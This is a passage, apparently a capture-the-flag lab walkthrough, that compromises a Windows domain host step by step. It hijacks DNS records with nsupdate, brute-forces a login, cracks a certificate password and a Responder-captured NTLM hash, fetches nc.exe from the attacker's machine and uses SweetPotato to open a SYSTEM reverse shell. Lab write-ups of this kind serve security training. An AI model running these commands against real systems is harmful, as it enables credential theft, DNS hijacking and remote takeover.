Complex Attack Types: Sample Scenarios 32

4 months ago 35
BOOK THIS SPACE FOR AD
ARTICLE AD

Baris Dincer

We are starting another tough fight. We are faced with a complex system again and we will defeat this system with our intelligence.

In this scenario, we will use various tools and principles respectively and exploit the weaknesses of the system in front of us.

You may see that the IPs change from time to time, do not care, we will be using different machines as we progress. The entire methodology is the same.

Get ready to start cyberpunk!

This is your journey.

As we always do, let’s save the file locations and IPs of the wordlists we use most on the shell as constant values. This shortens our processing time and makes it easier for us to write commands. Then, let’s define the target machine on the local DNS using the /etc/hosts file.

output
output

Ping it to check.

output

The basic process is completed. We can move on to the next stage.

Using the Nmap tool, we can explore the target network. We need to record open ports and versions and decide how to expand our attack surface: nmap -sV -sC -oN nmap_result.txt -T4 -A --script=vuln -Pn -sS --min-rate=300 --max-retries=3 -p- $target_ip

-sV:Service Version Detection: Probes open ports to determine what service and version are running.-sC:Default Scripts: Enables the use of the default set of nmap scripts. These scripts perform a variety of tasks, such as version detection and basic vulnerability checks.-sS:SYN Scan: Performs a TCP SYN scan, which is a more stealthy scan compared to a full TCP connect scan.-T4:Timing Template: Sets the timing template to 4 (Aggressive), speeding up the scan by reducing wait times between probe transmissions.-A:Aggressive Scan Options: Enables several advanced and aggressive scan options, including OS detection, version detection, script scanning, and traceroute.-oN nmap_result.txt:Output to Normal File: Saves the scan results in normal output format to the specified file (nmap_result.txt).-Pn:No Ping: Disables the ping scan. nmap will not try to ping the target hosts before scanning. Useful for scanning hosts that do not respond to ping requests (ICMP).--min-rate=300:Minimum Packet Rate: Ensures that nmap sends packets at a rate of at least 300 packets per second to speed up the scan.--max-retries=3:Maximum Retries: Limits the number of retransmissions of packets to 3 times, which can speed up the scan by reducing the wait for slow or unresponsive ports.-p-:Scan All Ports: Scans all 65535 ports.

You must be patient. This gives you beautiful paths.

output
output
output
output
output
output
output
output

We have various ports available. We also obtained notes that could give us ideas along with version information. The ports we can use in our scenario are listed below.

53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
2179/tcp open vmrdp
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5222/tcp open xmpp-client
5223/tcp open hpvirtgrp
5229/tcp open jaxflow
5269/tcp open xmpp-server
5270/tcp open xmp
7070/tcp open realserver
7443/tcp open oracleas-https
7777/tcp open cbt
9090/tcp open zeus-admin
9091/tcp open xmltec-xmlmail
9389/tcp open adws

Let’s write the general meanings of the ports below.

53/tcp — domain:

Service: Domain Name System (DNS)Description: Used for translating domain names to IP addresses.

88/tcp — kerberos-sec:

Service: KerberosDescription: Network authentication protocol used by Windows for secure authentication.

135/tcp — msrpc:

Service: Microsoft RPC (Remote Procedure Call)Description: Used for DCOM services and various Windows services.

139/tcp — netbios-ssn:

Service: NetBIOS Session ServiceDescription: Used for Windows file and printer sharing.

389/tcp — ldap:

Service: Lightweight Directory Access ProtocolDescription: Used for directory services like Active Directory.

443/tcp — https:

Service: Hypertext Transfer Protocol SecureDescription: Secure version of HTTP used for secure web communications.

445/tcp — microsoft-ds:

Service: Microsoft Directory ServicesDescription: Used for SMB (Server Message Block) over TCP/IP for file sharing.

464/tcp — kpasswd5:

Service: Kerberos Password ChangeDescription: Used to change Kerberos passwords.

593/tcp — http-rpc-epmap:

Service: HTTP RPC Endpoint MapperDescription: Used for DCOM over HTTP.

636/tcp — ldapssl:

Service: LDAP over SSLDescription: Secure LDAP communication.

2179/tcp — vmrdp:

Service: Virtual Machine Remote Desktop ProtocolDescription: Used for remote desktop access to virtual machines.

3268/tcp — globalcatLDAP:

Service: Global Catalog LDAPDescription: Used by Active Directory Global Catalog.

3269/tcp — globalcatLDAPssl:

Service: Global Catalog LDAP over SSLDescription: Secure communication for Global Catalog LDAP.

5222/tcp — xmpp-client:

Service: XMPP ClientDescription: Used for client-to-server communications in Jabber/XMPP.

5223/tcp — hpvirtgrp:

Service: HP Virtual GroupDescription: Used for HP virtual services, specifics can vary.

5229/tcp — jaxflow:

Service: JAX FlowDescription: Specific service use can vary, often related to network applications.

5269/tcp — xmpp-server:

Service: XMPP ServerDescription: Used for server-to-server communications in Jabber/XMPP.

5270/tcp — xmp:

Service: XMPDescription: Specific service use can vary, often related to messaging or data transfer.

7070/tcp — realserver:

Service: RealServer Streaming MediaDescription: Used for streaming media.

7443/tcp — oracleas-https:

Service: Oracle Application Server HTTPSDescription: Secure communication for Oracle Application Server.

7777/tcp — cbt:

Service: CBT (Common Business Oriented Language)Description: Often used for Oracle applications or custom business applications.

9090/tcp — zeus-admin:

Service: Zeus Web Server AdminDescription: Admin interface for Zeus web server.

9091/tcp — xmltec-xmlmail:

Service: XMLTEC XML MailDescription: Specific service use can vary, related to XML messaging.

9389/tcp — adws:

Service: Active Directory Web ServicesDescription: Used by Active Directory for web services.

In a real scenario, you should analyze all of these and record each finding as a note. Sometimes small details produce good results for you.

From our Nmap output, we learned the existence of some domains below.

output

Now let’s save this on local DNS.

output

Let’s check: windcorp.thm

output

We were redirected. When you encounter such a situation, register the target in local DNS again: fire.windcorp.thm

output

Try again.

output

We made the connection.

Let’s talk about a tip we can get through the browser. You can see some additional details by accessing “page info” (using the shield icon on the left side of the URL bar).

output

Have you seen some URL extension points? For example: http://fire.windcorp.thm:9090/plugins/presence/status?jid=tinywolf424@fire.windcorp.thm

It could be a username… Save all of these.

organicfish718
organicwolf509
tinywolf424
angrybird253
buse
Edeltraut
Edward
Emile
tinygoose102
brownostrich284
sadswan869
goldencat416
whiteleopard529
happymeercat399
orangegorilla428

They love animals…

View the certificate now.

output

Now there are different subdomains. Save these to /etc/hosts file.

output

We have to do a subdomain search: theHarvester -d windcorp.thm -c -r -l 500

This is a command given as an example. Use this in your own real scenario. You can also carry out a similar process with tools such as ffuf and gobuster.

output

Remember that port 53 is open. Now we can obtain more detailed information by performing DNS enumeration using the Domain Information Groper (dig) tool.

Use dig windcorp.thm any @10.10.102.77

The command dig windcorp.thm any @10.10.102.77 is a DNS query using the dig tool to request all available DNS records for the domain windcorp.thm from the DNS server at 10.10.102.77. It is useful for testing and troubleshooting DNS configurations by retrieving all DNS records for a domain to ensure they are correctly set up and functioning as expected.

output

Yes, we got the hit now. You should check the tip written in the TXT record.

The DNS server is potentially vulnerable to unauthorized changes. This could lead to a variety of security issues, including DNS spoofing, unauthorized DNS record changes, and domain hijacking.

Dynamic DNS updates allow for the automatic updating of a DNS server with new or changed DNS records without manual intervention. When these updates are non-secure, any client can potentially update the DNS records, posing a significant security risk.

You can find out whether DNS Zone transfer is possible with this command: nmap --script=dns-zone-transfer -p $target_ip if you need.

Let’s prove this with different methods.

We will use:

server 10.10.102.77
zone fire.windcorp.thm
update add our.malicious.domain.com. 86400 A 10.10.79.7
send

Then use it:

output

You’ve seen how to do this.

Although it is not a complete solution for this scenario, add this method to your own attack methods.

Now let’s do a research on web contents and discover hidden pages: gobuster dir -u https://fire.windcorp.thm -w $wordlist_dir -k -t 50 -o buster_dir.txt

output

Powershell? We have such a page. Now, check.

output

A login panel appears before us. We can brute force here. We had potential usernames.

output

Now we will use the ffuf tool. But before that, get the request schema.

output

You can open the “Network” section of the developer tools via the browser and obtain the payload. Payload occurs when you give random login values ​​and send a query.

ffuf -w p_users.txt:W1,/usr/share/wordlists/seclists/Passwords/Common-Credentials/best110.txt:W2 -X POST -d "__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE0NzgxMTkyOTcPZBYCZg9kFgICAQ9kFgQCAQ8WAh4HVmlzaWJsZWhkAgUPZBYEAgEPFgIfAGgWBAIFDw8WAh4EVGV4dAUGRGVsZXRlZGQCBw8PFgIfAQULTmV3IFNlc3Npb25kZAICD2QWBAIBDw8WAh8BBUlTaWduLWluIGZhaWxlZC4gIFZlcmlmeSB0aGF0IHlvdSBoYXZlIGVudGVyZWQgeW91ciBjcmVkZW50aWFscyBjb3JyZWN0bHkuZGQCAw9kFhQCAQ8WAh4FY2xhc3MFDnJlcXVpcmVkIGVycm9yZAIDDxYCHwIFDnJlcXVpcmVkIGVycm9yZAIHDxYCHwIFCHJlcXVpcmVkZAIJDxYCHwIFCHJlcXVpcmVkZAILDxYCHwIFCHJlcXVpcmVkZAINDxYCHwIFCHJlcXVpcmVkZAIPDxYCHwIFDnJlcXVpcmVkIGVycm9yZAIVDxYCHwIFEHJlcXVpcmVkIGRlZmF1bHRkAhcPFgIfAgUQcmVxdWlyZWQgZGVmYXVsdGQCHQ8PFgIfAQUHU2lnbiBJbmRkZF6ni7cqQRbm2Qi5rNZBHMbRrcxuWDQliGNguMKXlhci&__VIEWSTATEGENERATOR=6968C114&__EVENTVALIDATION=%2FwEdABCauYYbm189lQ%2Bgdlf%2BaUpwOGmAeYnrCn7l4HKpS0S3PrgsETBjMT6GhrSrOTblFa4oEZV%2BmS7OYlgMO%2FYC4GlLi0gJ8YEbHiccZGZU3FMKqQODz%2BnnTbMB0U%2BsnJoa%2FVGSAmrkIv6M8J3P%2FCQJfUz5%2FQiZFa1%2Bi9bo6WF9GgmOpfdYcS7dPEFdYM27aKu8bC6Jj2NY3SOcTG6NWDdH8E%2FTObX7eikOGF9Lcjcxb0yJrQ3fDD0NdUwYheZCbQiee7KuocNWmjMwttcI4ErUCx7iG0NcpRoJPZDUdkzXi9kBovUSO9m0FmharJXDgO6iY3GP%2FypXhvJY6eYlu%2FRsa9C9rSnPhLPKEC6Xn3aa%2B2QDDfS3MPTZyQGdgHPIABn7Dxo%3D&ctl00%24MainContent%24userNameTextBox=W1&ctl00%24MainContent%24passwordTextBox=W2&ctl00%24MainContent%24connectionTypeSelection=computer-name&ctl00%24MainContent%24targetNodeTextBox=&ctl00%24MainContent%24connectionUriTextBox=&ctl00%24MainContent%24altUserNameTextBox=&ctl00%24MainContent%24altPasswordTextBox=&ctl00%24MainContent%24configurationNameTextBox=Microsoft.PowerShell&ctl00%24MainContent%24authenticationTypeSelection=0&ctl00%24MainContent%24useSslSelection=0&ctl00%24MainContent%24portTextBox=5985&ctl00%24MainContent%24applicationNameTextBox=WSMAN&ctl00%24MainContent%24allowRedirectionSelection=0&ctl00%24MainContent%24advancedPanelShowLabel=10&ctl00%24MainContent%24ButtonLogOn=Sign+In" -H "Content-Type: application/x-www-form-urlencoded" -u 'https://fire.windcorp.thm/powershell/en-US/logon.aspx?ReturnUrl=%2fpowershell' -mr "Sign-in failed. Verify that you have entered your credentials correctly."
output

You can also note this as an example.

This did not work in our scenario.

Let’s discover pages on another subdomain:gobuster dir -u https://selfservice.dev.windcorp.thm -w $wordlist_dir -k -t 50 -o buster_dir.txt

output

We have backup files! Go there.

output

A cert.pfx file is a type of file that is used to store a combination of an SSL/TLS certificate and its corresponding private key in a single, encrypted file. The .pfx file format is also known as PKCS#12 (Public Key Cryptography Standards #12). These files are often used for importing and exporting certificates and private keys in a secure way. Use this source: https://book.hacktricks.xyz/crypto-and-stego/certificates

The PKCS#12 or PFX format is a binary format for storing the server certificate, intermediate certificates, and the private key in one encryptable file. PFX files usually have extensions such as .pfx and .p12. PFX files are typically used on Windows machines to import and export certificates and private keys.

Download this file.

output

We will use openssl to check this content: openssl pkcs12 -info -in cert.pfx

pkcs12: This indicates that you are working with PKCS#12 files.-info: This option tells openssl to display the contents of the PKCS#12 file in a human-readable form.-in cert.pfx: This specifies the input file (cert.pfx) to read from.
output

It is protected by a password… We have to break this.

We can use crackpkcs12 tool. Source is here: https://github.com/crackpkcs12/crackpkcs12

You can download it directly from here: https://sourceforge.net/projects/crackpkcs12/files/latest/download

output
output

Execute the commands below.

tar -xf crackpkcs12*
cd crackpkcs12*
./configure
make
sudo make install

After installation, execute the command: crackpkcs12 -d rockyou.txt cert.pfx

Additionally, you can also use the pfx2john.py tool. Source is here: https://github.com/sirrushoo/python/blob/master/pfx2john.py

output

Just run this: ./pfx2john.py cert.pfx > hashcert

output

After this process, use the john tool: john hashcert --wordlist=/usr/share/wordlists/rockyou.txt

You will get:

****
****
****
ganteng (cert.pfx)
1g 0:00:00:00 DONE (2020-10-17 22:34) 5.882g/s 12047p/s 12047c/s 12047C/s clover..lovers1
Use the "--show" option to display all of the cracked passwords reliably
****

Now we have the password: ganteng

Now generate private key: openssl pkcs12 -in cert.pfx -nocerts -out private.pem -nodes

After that, we need to generate public key: openssl pkcs12 -in cert.pfx -out public.pem -clcerts -nokeys

output

Now we have both private and public keys.

Do you remember the nsupdate tool? It didn’t work because we didn’t have the authority. Now we can try this again.

Now let’s test this theory by creating a standard TXT record.

nsupdate
> server 10.10.102.77
> update add test.windcorp.thm 5 TXT "HELLO LOVE"
> send

Then use nslookup to check:

└─# nslookup
> server 10.10.102.77
Default server: 10.10.102.77
Address: 10.10.102.77#53
> set type=txt
> test.windcorp.thm
;; communications error to 10.10.102.77#53: timed out
Server: 10.10.102.77
Address: 10.10.102.77#53

test.windcorp.thm text = "HELLO LOVE"
>

It’s okay now.

output

Now let’s delete the existing DNS A record and define our own machine IP.

nsupdate
> server 10.10.102.77
> update delete selfservice.windcorp.thm
> send
> update add selfservice.windcorp.thm 1234 A 10.10.79.7
> send
> quit
output

Check this again: dig selfservice.windcorp.thm @10.10.102.77

output

Yes, our own machine is now in the A record!

Now we will use our responder tool, we will change the configuration files for SSL certificates for our HTTP server.

We will put the public and private “.pem” files we created before in this file location: /usr/share/responder/certs

output

Use: cp private.pem public.pem /usr/share/responder/certs/

output

Then edit /etc/responder/Responder.conf .

You need to find the “HTTPS Server SSL Configuration Settings” and provide these file locations.

output

Now it’s time to run the responder tool: sudoresponder -I tun0

If it is not on your system, use sudo apt install responder

output

Just visit: https://selfservice.dev.windcorp.thm/backup/

You will get:

****
****
****
****
[+] Listening for events...
****
[HTTP] NTLMv2 Username : WINDCORP\edwardle
[HTTP] NTLMv2 Hash : edwardle::WINDCORP:9ed1e3cb414d26d7:CF1983C3F404EAD38CC0CB91BBAFA09F:0101000000000000D61E7D30C8A4D601DB7E9DBC059F4E60000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C00080030003000000000000000010000000020000099A10F5EFB667547433C87F28386E0CEA33BC58B6355A26FBD43919D5CA98B790A00100012C690EF73A24A276DC3EDC54B8CC48409003A0048005400540050002F00730065006C00660073006500720076006900630065002E00770069006E00640063006F00720070002E00740068006D000000000000000000

As you can see, we have the NTLM hash.

Save this.

output

Use the john tool again: john eddhash.hash --wordlist=/usr/share/wordlists/rockyou.txt

You will get password:

****
****
Press 'q' or Ctrl-C to abort, almost any other key for status
!Ang**** (edwardle)
1g 0:00:00:25 DONE (2020-10-17 22:59) 0.03883g/s 556936p/s 556936c/s 556936C/s !SkicA!..!@#fuck
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed
****

Go back to the “Powershell” page and enter these credentials.

output
output

Yeap! We got the “Powershell” screen.

output

Let’s also look at privilege powers.

output

SeMachineAccountPrivilege (Add workstations to domain)

Description: This privilege allows the user to add a computer to the domain. It is typically assigned to administrators who are responsible for managing and adding new machines to the network domain.State: Enabled

SeChangeNotifyPrivilege (Bypass traverse checking)

Description: This privilege allows the user to bypass traverse checking. Traverse checking determines if a user can move through directories to access a file or directory. This privilege allows users to traverse directories without needing explicit permissions on each directory in the path.State: Enabled

SeImpersonatePrivilege (Impersonate a client after authentication)

Description: This privilege allows a program to impersonate another user or process after authenticating them. This is commonly used by services that need to act on behalf of a user after verifying their credentials.State: Enabled

SeIncreaseWorkingSetPrivilege (Increase a process working set)

Description: This privilege allows a user to increase the working set of a process. The working set is the set of memory pages visible to the process in physical RAM. Increasing the working set can improve the performance of a process by reducing the number of page faults.State: Enabled

SeImpersonatePrivilege, this authorization can enable us to receive a reverse shell. Use this source: https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens

Any process holding this privilege can impersonate (but not create) any token for which it is able to gethandle. You can get a privileged token from a Windows service (DCOM) making it perform an NTLM authentication against the exploit, then execute a process as SYSTEM. Exploit it with juicy-potato, RogueWinRM (needs winrm disabled), SweetPotato, PrintSpoofer.

Let’s see what the lab environment provides us.

When you explore a little, we see that there are necessary “.exe”.

output

If you do not have these .exe’s on your target, you need to transfer them from your local to the target machine.

First you need to run an HTTP server on your machine: python3 -m http.server

output

You can use this command: Invoke-WebRequest -Uri “http://10.10.79.7:8000/nc.exe" -OutFile “C:\Users\edwardle.WINDCORP\Documents\nc.exe”

You can transfer any file you want with this method. We transferred the certificate file as an example.

You need to examine how “SweetPotato” is used.

output

It may allow us to transfer the installed netcat (nc) process to the machine we put in listening mode and use “cmd” from there.

First, let’s put our machine in listening mode: nc -nlvp 12444

output

Then use it .\SweetPotato.exe -p nc.exe -a “ 10.10.79.7 12444 -e cmd”

output

We got the connection.

We are inside now.

Don’t give up on hacking.

Code for good.

^-^

Read Entire Article